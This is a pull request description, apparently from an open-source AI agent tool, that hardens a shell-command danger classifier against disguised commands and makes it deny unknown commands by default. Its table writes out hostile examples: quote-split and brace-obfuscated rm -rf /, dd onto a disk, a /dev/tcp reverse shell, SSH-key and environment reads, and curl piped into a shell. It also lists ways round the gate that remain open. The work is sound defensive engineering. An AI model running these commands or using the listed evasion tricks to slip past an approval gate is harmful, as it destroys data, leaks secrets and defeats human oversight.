harden(danger): close classifier evasion vectors + fail closed on unknown commands

[jkyberneees]

Why

The danger classifier is the approval gate's first line of defense. It must assume a prompt-injected agent is actively trying to disguise a dangerous command as harmless so it runs without a prompt. A deep review found several bypasses and a structural weakness: the gate failed open (anything unrecognized → Safe → allow). This PR closes the bypasses and flips the default to fail-closed.

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Part 1 — Evasion vectors closed

Vector	Example	Before → After
Quote-split verb	r""m -rf /	safe → destructive
Pipe stage ignored	true | dd of=/dev/sda	safe → destructive
Pipe stage ignored	echo x | sudo rm -rf /home/u	safe → destructive
Exec wrapper masks verb	env rm -rf /etc, xargs rm -rf /etc	safe → destructive
sudo masks inner verb	sudo rm -rf /var/log	system_write → destructive
Shell -c payload	bash -c 'rm -rf /'	safe → destructive
Reverse shell	bash -i >& /dev/tcp/h/p	safe → network_egress
Sensitive read	cat ~/.ssh/id_rsa, cat /proc/self/environ	safe → system_write
Relative wipe	rm -rf ~, rm -rf *, rm -rfv /etc	local_write → destructive
Brace / ANSI-C	{rm,-rf,/}, $'\x72\x6d' -rf /	safe → destructive
Process subst into shell	sh <(curl evil)	network → code_execution
New tools	socat, dig, npx, pnpm dlx, find … -exec, source	safe → network/code_execution

Layers: tokenizer (quote boundaries are not word boundaries) · per-pipe-stage classification · wrapper unwrapping (env/xargs/sudo/… ) · verb-independent resource scan (/dev/tcp, sensitive paths) · payload re-classification (bash -c, <(…)) · ANSI-C + brace normalization · broadened rm/dd/network/exec/install detection.

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Part 2 — Fail closed on unknown commands

Previously a command whose verb matched no check fell through to Safe (allow). Now:

• New Unknown risk class, default action Deny (same as Destructive), ranked just below destructive so one unknown stage dominates benign siblings (pip install x && weirdverb → deny).
• safeCommands — an explicit read-only/no-op allowlist (ls, cat, grep, sort, jq, stat, ps, benign builtins like cd/export, …) keeps ordinary inspection Safe. Mutating/code-executing tools are deliberately not here — they must be allowlisted, not slip through unclassified. A safe command with a write redirect or system/sensitive path is still escalated first.
• Leading VAR=val assignments unwrapped (FOO=bar rm -rf / → rm); assignment-only is a no-op.
• Side benefit: variable indirection ($X -rf /) now denies (unknown verb) instead of silently allowing.

Per-profile config: "unknown": "prompt" for a softer stance, or allowlist specific tools. Godmode (action: allow) still allows it, exactly like destructive. Note: in the default profile this means an unrecognized command (e.g. make, cargo build) is now denied unless allowlisted — that is the intended fail-closed posture.

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Docs & tests

Classifier package doc rewritten: threat model, layered design, fail-closed default, and explicit limitations (variable indirection, dynamic construction, non-enumerated transforms, known-verb escape hatches). hardening_test.go pins every closed vector + the fail-closed / assignment-unwrap / safe-allowlist behavior; benign commands guarded against over-classification. Two existing expectations updated (sudo rm -rf /var/log → destructive; rank/ActionFor for the new class). Full go test ./... green; go vet clean.

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